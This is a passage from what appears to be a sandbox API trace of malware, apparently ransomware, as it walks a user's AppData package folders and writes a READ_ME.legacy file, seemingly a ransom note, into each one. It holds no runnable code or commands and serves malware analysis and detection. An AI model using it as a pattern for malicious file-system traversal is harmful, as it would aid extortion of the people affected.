"c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0154.486] WriteFile (in: hFile=0x8c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.487] CloseHandle (hObject=0x8c0) returned 1 [0154.487] FindNextFileW (in: hFindFile=0x61e588, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f2a964, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x7128025e, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x7128025e, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.487] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0154.496] WriteFile (in: hFile=0x8c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.496] CloseHandle (hObject=0x8c0) returned 1 [0154.497] FindNextFileW (in: hFindFile=0x61e588, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd6e72acf, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd6e72acf, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd6e72acf, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.497] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0154.497] WriteFile (in: hFile=0x8c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.498] CloseHandle (hObject=0x8c0) returned 1 [0154.498] FindNextFileW (in: hFindFile=0x61e588, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce657df6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26f04703, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.498] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.Office.Sway_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.office.sway_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c0 [0154.498] WriteFile (in: hFile=0x8c0, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.499] CloseHandle (hObject=0x8c0) returned 1 [0154.499] FindNextFileW (in: hFindFile=0x61e588, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x26f04703, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce657df6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x26f04703, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.499] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe38b5963, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e988 [0154.499] FindNextFileW (in: hFindFile=0x61e988, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe38b5963, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.500] FindNextFileW (in: hFindFile=0x61e988, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xd5dc228d, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5dc228d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5dc228d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.500] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0154.502] WriteFile (in: hFile=0x8c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.503] CloseHandle (hObject=0x8c4) returned 1 [0154.503] FindNextFileW (in: hFindFile=0x61e988, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.503] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0154.504] WriteFile (in: hFile=0x8c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.504] CloseHandle (hObject=0x8c4) returned 1 [0154.504] FindNextFileW (in: hFindFile=0x61e988, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.505] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0154.506] WriteFile (in: hFile=0x8c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.507] CloseHandle (hObject=0x8c4) returned 1 [0154.507] FindNextFileW (in: hFindFile=0x61e988, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.507] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0154.508] WriteFile (in: hFile=0x8c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.509] CloseHandle (hObject=0x8c4) returned 1 [0154.509] FindNextFileW (in: hFindFile=0x61e988, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38b5963, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe38b5963, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe38b5963, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.509] FindNextFileW (in: hFindFile=0x61e988, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.509] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0154.509] WriteFile (in: hFile=0x8c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.510] CloseHandle (hObject=0x8c4) returned 1 [0154.510] FindNextFileW (in: hFindFile=0x61e988, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="Settings", cAlternateFileName="")) returned 1 [0154.511] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\Settings\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\settings\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0154.512] WriteFile (in: hFile=0x8c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.512] CloseHandle (hObject=0x8c4) returned 1 [0154.513] FindNextFileW (in: hFindFile=0x61e988, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="SystemAppData", cAlternateFileName="SYSTEM~1")) returned 1 [0154.513] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\SystemAppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\systemappdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0154.513] WriteFile (in: hFile=0x8c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.514] CloseHandle (hObject=0x8c4) returned 1 [0154.514] FindNextFileW (in: hFindFile=0x61e988, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 1 [0154.514] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.OneConnect_8wekyb3d8bbwe\\TempState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.oneconnect_8wekyb3d8bbwe\\tempstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c4 [0154.514] WriteFile (in: hFile=0x8c4, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.515] CloseHandle (hObject=0x8c4) returned 1 [0154.515] FindNextFileW (in: hFindFile=0x61e988, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd5cb721c, ftCreationTime.dwHighDateTime=0x1d32744, ftLastAccessTime.dwLowDateTime=0xd5cb721c, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xd5cb721c, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="TempState", cAlternateFileName="TEMPST~1")) returned 0 [0154.515] FindFirstFileW (in: lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236d6f79, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4774ad5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe38db52c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x61e5c8 [0154.515] FindNextFileW (in: hFindFile=0x61e5c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236d6f79, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xd4774ad5, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0xe38db52c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0154.515] FindNextFileW (in: hFindFile=0x61e5c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2385473f, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0x3588116b, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x3588116b, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AC", cAlternateFileName="")) returned 1 [0154.515] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\AC\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\ac\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0154.517] WriteFile (in: hFile=0x8c8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.518] CloseHandle (hObject=0x8c8) returned 1 [0154.518] FindNextFileW (in: hFindFile=0x61e5c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23795cbb, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce70eff9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x23795cbb, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="AppData", cAlternateFileName="")) returned 1 [0154.518] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\AppData\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\appdata\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0154.519] WriteFile (in: hFile=0x8c8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.520] CloseHandle (hObject=0x8c8) returned 1 [0154.520] FindNextFileW (in: hFindFile=0x61e5c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236fd1e4, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce70f877, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x236fd1e4, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalCache", cAlternateFileName="LOCALC~1")) returned 1 [0154.520] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\LocalCache\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\localcache\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0154.521] WriteFile (in: hFile=0x8c8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.522] CloseHandle (hObject=0x8c8) returned 1 [0154.522] FindNextFileW (in: hFindFile=0x61e5c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236d6f79, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce71002c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x236d6f79, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="LocalState", cAlternateFileName="LOCALS~1")) returned 1 [0154.522] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\LocalState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\localstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0154.522] WriteFile (in: hFile=0x8c8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0154.523] CloseHandle (hObject=0x8c8) returned 1 [0154.523] FindNextFileW (in: hFindFile=0x61e5c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe38db52c, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xe38db52c, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xe38db52c, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0154.523] FindNextFileW (in: hFindFile=0x61e5c8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x236d6f79, ftCreationTime.dwHighDateTime=0x1d32715, ftLastAccessTime.dwLowDateTime=0xce710758, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x236d6f79, ftLastWriteTime.dwHighDateTime=0x1d32715, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x80000018, dwReserved1=0x728d443f, cFileName="RoamingState", cAlternateFileName="ROAMIN~1")) returned 1 [0154.524] CreateFileW (lpFileName="\\Users\\FD1HVy\\AppData\\Local\\Packages\\Microsoft.People_8wekyb3d8bbwe\\RoamingState\\READ_ME.legacy" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\packages\\microsoft.people_8wekyb3d8bbwe\\roamingstate\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x8c8 [0154.527] WriteFile (in: hFile=0x8c8, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 